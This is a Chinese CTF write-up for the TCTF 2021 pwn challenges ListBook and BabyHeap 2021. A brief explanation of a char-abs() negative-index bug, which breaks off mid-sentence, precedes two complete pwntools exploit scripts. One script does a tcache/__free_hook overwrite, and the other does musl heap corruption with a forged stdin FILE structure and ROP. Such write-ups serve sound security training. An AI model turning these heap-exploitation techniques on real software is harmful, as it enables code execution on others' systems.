MENU

TCTF 2021 ListBook、BabyHeap 2021 Writeup

July 4, 2021 • Read: 34 • Pwn,CTF

ListBook

image.png

有 Add、Delete、Show、Exit 四个功能,其中在 Add 函数中存在向前溢出的漏洞

image.png

在 get_index 函数中

image.png

对 name 的数据相加,然后求绝对值后再对 16 去余数。

当求出的 sum 为 0x80 的时候,由于 char 的数据范围是(-128~127),所以取绝对值后无法被表示,数据被保留,这时候就造成了一个负数的索引,导致后续的向前溢出。并且因为向前溢出可以让 malloc 得到的指针向前覆盖到 use_flag 数组的数据,这使得程序可以 double free。但是由于 程序是 glibc2.31,有用 key 来对 double free 的情况进行检测,这里无法简单的利用 double free 漏洞。

这里的思路是,让释放的 0x200 数据

from pwn import *

elf = None
libc = None
file_name = "./listbook"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter(">>", str(idx))


def add(name, content='sh\x00'):
    choice(1)
    if len(name) == 0x10:
        sh.sendafter("name>", str(name))
    else:
        sh.sendlineafter("name>", str(name))
    sh.sendlineafter("content>", str(content))


def delete(idx):
    choice(2)
    sh.sendlineafter("index>", str(idx))



def show(idx):
    choice(3)
    sh.sendlineafter("index>", str(idx))


def pwn(sh, elf, libc):
    #context.log_level = "debug"
    libc_base = 0
    for i in range(9):
        for j in range(7):
            add(chr(14))
        add('\x00')
        delete(0)
        add(chr(i + 1))
        add('\x80')
        delete(14)
        delete(0)
        if libc_base == 0:
            show(1)
            libc_base = get_address(sh, True, offset=-0x1ebbe0, info="libc_base:\t")
        for i in range(5):
            add(chr(15))
    add('\x80')
    for i in range(7):
        delete(i + 1)
    delete(9)
    delete(8)
    delete(0)

    libc.address = libc_base
    for i in range(10):
        add(p64(libc.sym['__free_hook']))
    add(p64(libc.sym['system']))
    delete(15)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

BabyHeap 2021

from pwn import *

elf = None
libc = None
file_name = "./babyheap"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = ELF('/lib/x86_64-linux-musl/libc.so')
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("Command: ", str(idx))


def add(size, content='wjh'):
    choice(1)
    sh.sendlineafter("Size: ", str(size))
    sh.sendlineafter("Content: ", str(content))


def edit(idx, size, content):
    choice(2)
    sh.sendlineafter("Index: ", str(idx))
    sh.sendlineafter("Size: ", str(size))
    sh.sendlineafter("Content: ", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("Index: ", str(idx))


def show(idx):
    choice(4)
    sh.sendlineafter("Index: ", str(idx))




def pwn(sh, elf, libc):
    #print elf.sym
    context.log_level = "debug"
    add(0x100) #0
    add(0x100) #1
    add(0x100) #2
    add(0x100) #3
    edit(0, 0xFFFFFFFF, 'a' * 0x110 + p64(0x121) + p64(0x241) + 'b' * 0x110 + p64(0x241) + p64(0x121) + 'c' * 0x110 + '\x41\x02')

    #delete(2)
    delete(1)
    add(0x100) #1
    add(0x100) #4
    delete(2)
    show(4)
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-0xb0b00)
    stdin_addr = libc_base + 0xb0280 - 0x110
    edit(4, 0x10, p64(stdin_addr) * 2)
    add(0x100) #2
    delete(2)

    edit(4, 0x10, p64(stdin_addr) + p64(libc_base + 0xb0b00))
    add(0x100) #2
    add(0x100) #5

    fake_frame_addr = stdin_addr
    puts_addr = libc_base + 0x5eed0
    pop_rdi_addr = libc_base + 0x0000000000015291
    leave_ret_addr = libc_base + 0x0000000000016992
    pop_rax_addr = libc_base + 0x0000000000016a16
    syscall_addr = libc_base + 0x0000000000023720
    pop_rsi_addr = libc_base + 0x000000000001d829
    read_addr = libc_base + 0x72d10
    pop_rdx_addr = libc_base + 0x000000000002cdda

    rop_data = [
        0,
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        pop_rdi_addr,
        stdin_addr + 0xF0,
        syscall_addr,
        pop_rdx_addr,
        0,
        pop_rdx_addr,
        0x30,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        read_addr,
        pop_rdi_addr,
        fake_frame_addr + 0x200,
        puts_addr
    ]
    rop_str = flat(rop_data)
    payload = p64(stdin_addr + 0x60) # stdin->flags
    payload += p64(leave_ret_addr)
    payload += 'X' * 0x18
    payload += p64(0xdeadbeef)  # stdin->wpos
    payload += 'X' * 8
    payload += p64(0xbeefdead)  # stdin->wbase
    payload += 'X' * 8
    payload += p64(leave_ret_addr)   # stdin->write
    payload += rop_str
    payload = payload.ljust(0xE0, '\x00') + 'flag'

    edit(5, 0xFFFFFFFF, payload)
    choice(5)
    #gdb.attach(sh, "b *" + hex(leave_ret_addr))
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
Last Modified: August 19, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code